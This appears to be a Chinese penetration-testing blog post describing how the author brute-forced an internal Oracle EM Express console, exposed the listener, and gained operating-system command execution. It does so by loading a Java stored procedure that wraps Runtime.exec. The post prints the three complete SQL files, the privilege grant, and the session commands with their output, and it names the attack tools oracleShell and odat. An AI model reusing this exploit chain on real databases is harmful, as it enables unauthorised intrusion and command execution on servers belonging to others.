oracle odat,通过Oracle执行系统命令

成功连接上Oracle后,如何通过Oracle get到os-shell,网上搜集资料解决后进行简单记录。

经历如下:内网中发现oralce em express服务,一个oracle的web管理端,碰撞密码进入后,没有找到什么getshell的点,甚至数据查询等也没有发现,无意中发现了dispather设置项,通过添加dispather监听0.0.0.0后成功连接上数据库(默认的1521是监听在127.0.0.1上的)。

oracle提权执行命令工具oracleShell v0.1

为了快速getshell,通常先去找找有没有现成的实现,找到了rebeyond师傅写的一个小工具。

环境中的oracle版本为12c,这款工具是前两年开发,集成的jdbc版本低,不支持12c新的连接协议,连接会报ORA-28547错误,11g以下的版本应该是可以使用的。

使用sql*plus

Oracle的sql*plus是与oracle进行命令行交互的客户端工具,安装oracle一般会自带。

连接命令分两种(dba用户登录时带上as sysdba):sqlplus [email protected]:port/sid [as sysdba]

sqlplus /nolog

SQL> conn [email protected]:port/sid [as sysdba]

sqlplus自带了一个比较坑的命令host

SQL> host hostname

你会发现显示的是你本机的机器名,原来是在本机上执行命令,而不是在连接的远程机器上,好吧。。。

网上找来的方法:

首先在本地新建3个sql文件,用于sqlplus连接后进行执行

新建1.sql1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34create or replace and compile

java souRCe named "util"

as

import java.io.*;

import java.lang.*;

public class util extends Object

{

public static int RunThis(String args)

{

Runtime rt = Runtime.getRuntime();

int RC = -1;

try

{

Process p = rt.exec(args);

int bufSize = 4096;

BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);

int len;

byte buffer[] = new byte[bufSize];

// Echo back what the program spit out

while ((len = bis.read(buffer, 0, bufSize)) != -1)

System.out.write(buffer, 0, len);

RC = p.waitFor();

}

catch (Exception e)

{

e.printStackTrace();

RC = -1;

}

finally

{

return RC;

}

}

}

新建2.sql1

2

3

4

5create or replace

function run_cmd(p_cmd in varchar2) return number

as

language java

name 'util.RunThis(java.lang.String) return integer';

新建3.sql1

2

3

4

5

6create or replace procedure RC(p_cmd in varChar)

as

x number;

begin

x := run_cmd(p_cmd);

end;

登陆上去后依次执行1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39SQL> @1.sql

35 /

Java 已创建。

SQL> @2.sql

6 /

函数已创建。

SQL> @3.sql

7 /

过程已创建。

SQL>

SQL> variable x number;

SQL> set serveroutput on;

SQL> exec dbms_java.set_output(100000);

SQL> grant javasyspriv to system; [这里的system换成你的登录名,dba账户不需要执行这一步]

PL/SQL 过程已成功完成。

SQL> exec :x:=run_cmd('ipconfig');

Windows IP Configuration

Ethernet adapter 本地连接:

Connection-specific DNS Suffix . : localdomain

IP Address. . . . . . . . . . . . : 192.168.91.130

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . : 192.168.91.1

PL/SQL 过程已成功完成。

SQL> exec :x:=run_cmd('whoami'); 可以继续执行其他命令

win2003 + Oracle 11g,win2008 + Oracle 11g,win2008 + Oracle 12c 测试成功

我虽然使用sys登录,可惜的是拿到的系统权限还是很低。

后续还要对oracle以及oracle的安全问题原理进行研究。

2019-5-1更新:

发现了一个更加方便好用的工具:odat,github可以搜索到。

参考文章

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值